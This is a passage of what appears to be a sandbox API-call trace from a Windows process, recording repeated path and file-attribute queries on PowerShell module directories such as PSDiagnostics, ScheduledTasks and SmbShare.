lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.438] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0145.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.439] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.439] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0145.439] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0145.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.439] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.440] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.440] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", lpFilePart=0x0) returned 0x3d [0145.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.440] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflow"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.440] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0145.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", lpFilePart=0x0) returned 0x44 [0145.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.441] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflowutility"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0145.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0145.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.441] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0145.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.444] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.444] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0145.444] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", lpFilePart=0x0) returned 0x3b [0145.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.444] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbshare"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.445] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.445] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", lpFilePart=0x0) returned 0x3d [0145.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.445] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbwitness"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.445] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0145.445] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", lpFilePart=0x0) returned 0x3e [0145.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.446] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\startlayout"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0145.446] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0145.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.446] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.447] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0145.447] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0145.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.447] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.447] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0145.447] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0145.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.447] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0145.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0145.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.448] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0145.448] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0145.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.448] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.449] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0145.449] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0145.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.449] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.449] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0145.449] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0145.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.449] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0145.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0145.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.450] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0145.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0145.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.450] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", lpFilePart=0x0) returned 0x40 [0145.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.451] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowssearch"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.451] GetFullPathNameW (in: 